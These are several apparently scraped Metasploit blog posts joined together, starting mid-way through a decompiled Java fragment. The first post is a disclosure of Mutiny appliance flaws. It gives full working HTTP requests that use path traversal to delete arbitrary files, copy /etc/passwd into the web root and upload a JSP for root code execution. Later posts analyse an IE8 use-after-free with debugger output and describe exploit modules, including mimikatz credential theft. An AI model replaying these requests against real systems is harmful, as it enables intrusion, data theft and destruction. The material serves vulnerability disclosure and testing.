        int j1;
        while((j1 = fileinputstream.read(abyte0)) > 0)
            fileoutputstream.write(abyte0, 0, j1);
        flag = true;
        fileinputstream.close();
        fileoutputstream.close();
        break MISSING_BLOCK_LABEL_881;
        Exception exception1;
        exception1;
        System.err.println(exception1.getMessage());
        fileinputstream.close();
        fileoutputstream.close();
        break MISSING_BLOCK_LABEL_881;
        Exception exception2;
        exception2;
        fileinputstream.close();
        fileoutputstream.close();
        throw exception2;
        i1++;
        if(true) goto _L11; else goto _L3














 

Exploitation

 

After examining the “doPost()” function from the “EditDocument” servlet,  requests to abuse these functions have been built.

 

DELETE operation

 

The next request allows deleting an arbitrary file from the filesystem:

 

POST /interface/EditDocument HTTP/1.1

Host: 192.168.1.177

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17

Content-Length: 76

Accept: */*

Origin: http://192.168.1.177

X-Requested-With: XMLHttpRequest

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.1.177/interface/documents.jsp

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=611F495538F214B351A860D32273DB89; JSESSIONIDSSO=EF00467D61F67EA2CE86010762914E4D

Connection: keep-alive

Proxy-Connection: keep-alive

 

 

 

operation=DELETE&paths%5B%5D=../../../../test.msf

 

In this case the “/test.msf” will be deleted in the remote file system. The 4 level traversal is due to “DocumentUtils.root” by default pointing to “/var/MUTINY/upload/documents” in the Linux based appliance.

 

The response to the request informs if the file deletion has been successful:

 

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

X-UA-Compatible: IE=10

Content-Type: application/json;charset=UTF-8

Content-Length: 16

Date: Fri, 08 Mar 2013 02:16:18 GMT

 

 

{"success":true}

 

COPY operation

 

The copy operation allows copying arbitrary files in the remote file system with root privileges. By copying arbitrary files to the default web root in the appliance it’s possible to retrieve arbitrary files.

 

The next request allows copying the “/etc/passwd” file to the web root for mobile devices, by default located at “/usr/jakarta/tomcat/webapps/ROOT/m” in the Mutiny Linux based appliance:

 

POST /interface/EditDocument HTTP/1.1

Host: 192.168.1.177

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17

Content-Length: 111

Accept: */*

Origin: http://192.168.1.177

X-Requested-With: XMLHttpRequest

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.1.177/interface/documents.jsp

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=14CE95F1ED56321B4B226DF669D691C0; JSESSIONIDSSO=FA98603965548C3FB1F67BC5121A75DC

Connection: keep-alive

Proxy-Connection: keep-alive

 

 

 

operation=COPY&paths%5B%5D=../../../../etc/passwd%00.txt&newPath=../../../../usr/jakarta/tomcat/webapps/ROOT/m/

 

The response to the request informs if the file deletion has been successful:

 

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

X-UA-Compatible: IE=10

Content-Type: application/json;charset=UTF-8

Content-Length: 16

Date: Fri, 08 Mar 2013 04:11:17 GMT

 

 

 

{"success":true}

 

By accessing to http://appliance/m/passwd is possible to retrieve the remote file:

 

copy_result.PNG

UPLOAD operation

 

The upload operation allows uploading an arbitrary file to the file system with root privileges. By uploading a JSP file to the “/usr/jakarta/tomcat/webapps/ROOT/m” default location, arbitrary Java can be executed with root privileges by later invoking the JSP file via the web interface. The next request allows uploading JSP code to the "/usr/jakarta/tomcat/webapps/ROOT/m/msf.jsp” location:

 

POST /interface/EditDocument HTTP/1.1

Host: 192.168.1.177

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17

Content-Length: 491

Accept: */*

Origin: http://192.168.1.177

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPxNcR2XfK8d5gMeU

Referer: http://192.168.1.177/interface/documents.jsp

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=611F495538F214B351A860D32273DB89; JSESSIONIDSSO=EF00467D61F67EA2CE86010762914E4D

Connection: keep-alive

Proxy-Connection: keep-alive

 

 

 

------WebKitFormBoundaryPxNcR2XfK8d5gMeU

Content-Disposition: form-data; name="uploadFile"; filename="msf.jsp"

Content-Type: application/octet-stream

 

 

 

<html>

        <head><title>Metasploit Test Page</title></head>

        <body>

                <font size="10"><%="Metasploit Test" %></font>

        </body>

</html>

 

 

------WebKitFormBoundaryPxNcR2XfK8d5gMeU

Content-Disposition: form-data; name="uploadPath"

 

 

 

../../../../usr/jakarta/tomcat/webapps/ROOT/m

------WebKitFormBoundaryPxNcR2XfK8d5gMeU—

 

The response to the request informs if the file upload has been successful:

 

By accessing to http://appliance/m/msf.jsp is possible to execute the uploaded JSP code:

 

upload_result.PNG

 

Metasploit modules

 

In order to assist vulnerability testing two modules for the Metasploit framework have been developed.

 

mutiny_frontend_read_delete

 

The “mutiny_frontend_read_delete” is an auxiliary module which abuses the DELETE and COPY operations to retrieve or delete arbitrary files from the remote system:

 

  • Reading /etc/passwd

 

read_file.png

 

  • Deleting remote files

 

file_delete.png

 

mutiny_frontend_upload

 

The "mutiny_frontend_upload" is an exploit module which abuses the UPLOAD operation to upload an arbitrary JSP code and an arbitrary payload embedded in an ELF file. The last one is executed through the invocation of the JSP stager:

 

upload_shell.png

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.

Recently, the U.S. Department of Labor website was compromised and had been serving malicious code, capable of detecting and disabling some antivirus products such as Avira, F-Secure, Kaspersky, AVG, Sophos, etc.  It would also attack Internet Explorer 8 users with an 0-day exploit.  The Metasploit vulnerability research community was particularly interested in the exploit part, therefore that's what we'd like to talk about in this blog. Understanding how the evolving browser security landscape operates is key to formulating defense strategies, after all.

 

First off, according to Microsoft's advisory, only Internet Explorer 8 is vulnerable to this exploit, and we verified that with a fully patched Windows 7 with IE8.  If you are looking for an excuse to upgrade to something more recent, the following image demonstrates IE8's weakness:

Screen Shot 2013-05-04 at 11.44.20 PM.png

Some people say this is a CVE-2012-4792 (a patched vulnerability), we beg to differ.  CVE-2012-4792 is a cbutton use-after-free, but the DoL exploit doesn't use this object at all (Exodus has an excellent writeup about that vulnerability).  Instead, a mshtml!CGenericElement::`vtable' is created while appending a datalist element:

 

Allocating 0x4C bytes from InsertElementInternal: 0x0563cfb0
...
0:008> !heap -p -a poi(0x0563cfb0)
    address 06a99fc8 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 5087390:          6a99fc8               38 -          6a99000             2000
          mshtml!CGenericElement::`vftable'
    7c918f01 ntdll!RtlAllocateHeap+0x00000e64
    635db42e mshtml!CGenericElement::CreateElement+0x00000018
    635a67f5 mshtml!CreateElement+0x00000043
    637917c0 mshtml!CMarkup::CreateElement+0x000002de
    63791929 mshtml!CDocument::CreateElementHelper+0x00000052
    637918a2 mshtml!CDocument::createElement+0x00000021
    635d3820 mshtml!Method_IDispatchpp_BSTR+0x000000d1
    636430c9 mshtml!CBase::ContextInvokeEx+0x000005d1
    63643595 mshtml!CBase::InvokeEx+0x00000025
    63643832 mshtml!DispatchInvokeCollection+0x0000014b
    635e1cdc mshtml!CDocument::InvokeEx+0x000000f1
    63642f30 mshtml!CBase::VersionedInvokeEx+0x00000020
    63642eec mshtml!PlainInvokeEx+0x000000ea
    633a6d37 jscript!IDispatchExInvokeEx2+0x000000f8
    633a6c75 jscript!IDispatchExInvokeEx+0x0000006a
    633a9cfe jscript!InvokeDispatchEx+0x00000098

 

And freed during garbage collection:

0:008> !heap -p -a poi(0x0563cfb0)
    address 06a99fc8 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    5087390:          6a99000             2000
    7c927553 ntdll!RtlFreeHeap+0x000000f9
    636b52c6 mshtml!CGenericElement::`vector deleting destructor'+0x0000003d
    63628a50 mshtml!CBase::SubRelease+0x00000022
    63640d1b mshtml!CElement::PrivateRelease+0x00000029
    6363d0ae mshtml!PlainRelease+0x00000025
    63663c03 mshtml!PlainTrackerRelease+0x00000014
    633a10b4 jscript!VAR::Clear+0x0000005c
    6339fb4a jscript!GcContext::Reclaim+0x000000ab
    6339fd33 jscript!GcContext::CollectCore+0x00000113
    63405594 jscript!JsCollectGarbage+0x0000001d
    633a92f7 jscript!NameTbl::InvokeInternal+0x00000137
    633a6650 jscript!VAR::InvokeByDispID+0x0000017c
    633a9c0b jscript!CScriptRuntime::Run+0x00002989
    633a5ab0 jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff
    633a59f7 jscript!ScrFncObj::Call+0x0000008f
    633a5743 jscript!CSession::Execute+0x00000175

 

Even though the CGenericElement vftable is freed, the reference is stil kept:

0:008> dc 0x0563cfb0; .echo; dc poi(0x0563cfb0)
0563cfb0  06a99fc8 00000000 ffff0075 ffffffff  ........u.......
0563cfc0  00000071 00000000 00000000 00000000  q...............
0563cfd0  00000000 0563cfd8 00000152 00000001  ......c.R.......
0563cfe0  00000000 00000000 0563cfc0 00000000  ..........c.....
0563cff0  00000010 00000000 00000000 d0d0d0d0  ................
0563d000  ???????? ???????? ???????? ????????  ????????????????
0563d010  ???????? ???????? ???????? ????????  ????????????????
0563d020  ???????? ???????? ???????? ????????  ????????????????

06a99fc8  ???????? ???????? ???????? ????????  ????????????????
06a99fd8  ???????? ???????? ???????? ????????  ????????????????
06a99fe8  ???????? ???????? ???????? ????????  ????????????????
06a99ff8  ???????? ???????? ???????? ????????  ????????????????
06a9a008  ???????? ???????? ???????? ????????  ????????????????
06a9a018  ???????? ???????? ???????? ????????  ????????????????
06a9a028  ???????? ???????? ???????? ????????  ????????????????
06a9a038  ???????? ???????? ???????? ????????  ????????????????

 

And of course, this invalid reference ends up with a crash when used by mshtml!CElement::Doc():

0:008> g
(5f4.2c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=63aae200 ebx=0563cfb0 ecx=06a99fc8 edx=00000000 esi=037cf0b8 edi=00000000
eip=6363fcc4 esp=037cf08c ebp=037cf0a4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc:
6363fcc4 8b01            mov     eax,dword ptr [ecx]  ds:0023:06a99fc8=????????

 

As of now, we are not aware of any patch from Microsoft specifically for IE8, but we will be updating this blog as soon as we hear something.  If you're a current IE8 user, then please consider the following workarounds:

  • For newer Windows, upgrade to Internet Explorer 9 or 10.
  • For Windows XP users, please use other browsers such as Google Chrome or Mozilla Firefox.
  • If for some reason you must use Internet Explorer 8, please use EMET.  Or, you can also try setting IE's security zone to High, and customize your Active Scripting settings.

 

Note that while Microsoft's advisory also suggests setting IE8's Internet security zones to 'High' for ActiveX controls, this, by itself, will not mitigate -- the exploitation technique used here does not leverage ActiveX controls at all. So, while that is generally good advice, it will not help in this case.

 

If you'd like to try out this Metasploit module to better validate your defenses, please feel free to download Metasploit here.  If you already have Metasploit Framework, you may just use the msfupdate utility to receive this module.  For Metasploit Pro users, you will see this module in the upcoming update.

 

Special thanks to: EMH

 

 

Timeline
May 3rd - Microsoft advisory 2847140, no patch yet.
May 5th - Metasploit releases ie_cgenericelement_uaf exploit
May 8th - Microsoft releases "fix-it"
May 14th - Microsoft releases MS13-038 patch

When I wrote up the Metasploit Hits 1000 Exploits post back in December, I had to perform a little open source forensic work to get something resembling an accurate history of the Metasploit project -- after all, it's difficult for me to remember a time on the Internet without Metasploit. I traced the first mention of 1.0 back to this mailing list post in 2003. You know what that means, right? This year marks the 10th year of the Metasploit Framework!

 

metasploit-decal-competition.pngOne of the ways we're marking this anniversary is with something very much in keeping with our history. You may remember our T-shirt design contest back in 2011, won by Danny Chrastil and his elegant hexified Metasploit logo (with a cowsay back), and our Metasploit tattoo design competition. We had such a good experience with these contests that we're commemorating this auspicious anniversary with a new Metasploit laptop decal design contest... starting today!

 

The winning design will be selected on Friday, May 31, 2013.

 

You can enter by posting your design to this 99Designs project and tweeting a link to your design with the hashtag #metasploitdecal.

 

Once all designs are in, we'll select the finalists and ask the Metasploit Community to select the final winner.

 

Like last time, the winner will have the satisfaction of having their design plastered on hacker's gear (yes, we're doing laptop decals!). In addition, the triumphant designer will win a grand payout on 99Designs for permission to use the work.

 

So, think about what you want to see on your laptop, public or private property that you have gain prior, written authorization to tag, and maybe even tattooed on some Rapid7 employee's person, and tweet your designs!

 

Happy Birthday Metasploit!

Attacking WordPress Plugins

Someone once described PHP as a "web API for remote code execution," and it's true that PHP is definitely web programming without guardrails. This week's security news was dominated by a RCE vulnerability in a pair of wildly popular WordPress plugins, W3 Total Cache and WP Super Cache, which are written in (wait for it) PHP. Regular Metasploit contributors HD Moore, Juan Vazquez, and FireFart leaped into action to write up a Metasploit module to achieve code execution on WordPress-powered sites that use these plugins.

 

What does this mean for network defenders and auditors? Well, for many small businesses, and some larger ones, a WordPress-powered site may be the one touch point that these business have with their customers. Suffering a website defacement can damage these business's brands and reputations. However, there's no law that says a PHP-based attack must result in a website defacement. A persistent attacker can leverage this vulnerability to perform all sorts of mischief, such as compromising back-end database credentials, dumping stored user password hashes, or combining this attack with a local privilege escalation exploit to gain control over the entire server. This can all be done without leaving obvious signs of compromise on the website proper.

 

So, if you are responsible for a WordPress site, it would behoove you to use Metasploit to determine if you are, in fact, vulnerable to these kinds of exploits, and to see for yourself how far an exploit can go.

 

Mimikatz

This update also comes with a shiny new way to steal credentials. The pentesters in the audience are no doubt aware of a tool called mimikatz that has been around for a while, but which invariably causes AV to lose its mind and ruin your day. Mimikatz, written by @gentilkiwi, is a tool that rummages through lsass.exe's memory looking for credential structures of various kinds. In most cases, it can grab cleartext passwords.

 

Now, thanks to @gentilkiwi's change to a compatible license (Creative-Commons-Attribution) and the integration efforts of Meatballs, Meterpreter can use this valuable technique completely in memory, saving you the headache of having to figure out how to run a packer.

 

Still Seeking Interns

I mentioned last week that the Metasploit Framework team is seeking an intern to help out over the summer in our secret underground exploit lair here in Austin. We've already gotten a number of good leads, so this week is about the last chance to get on board with our internship program. If you are passionate about open source security and want to spend your summer helping advance the state of the art with a team of world-class security professionals, check out the job requirements at http://r-7.co/MSF-INTERN and we'll see if we can't set up an interview in the next few days.

 

New Modules

This week, we have eight new modules, including the WordPress Total Cache exploit, Joe Vennix's Safari-based universal XSS module, Ben Campbell's implementation of waraxe's phpMyAdmin RCE exploit, a pair of SAP modules from Andras Kabai based on the research by Dmitry Chastuhin.

 

Availability

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

Filter Blog

By date: By tag: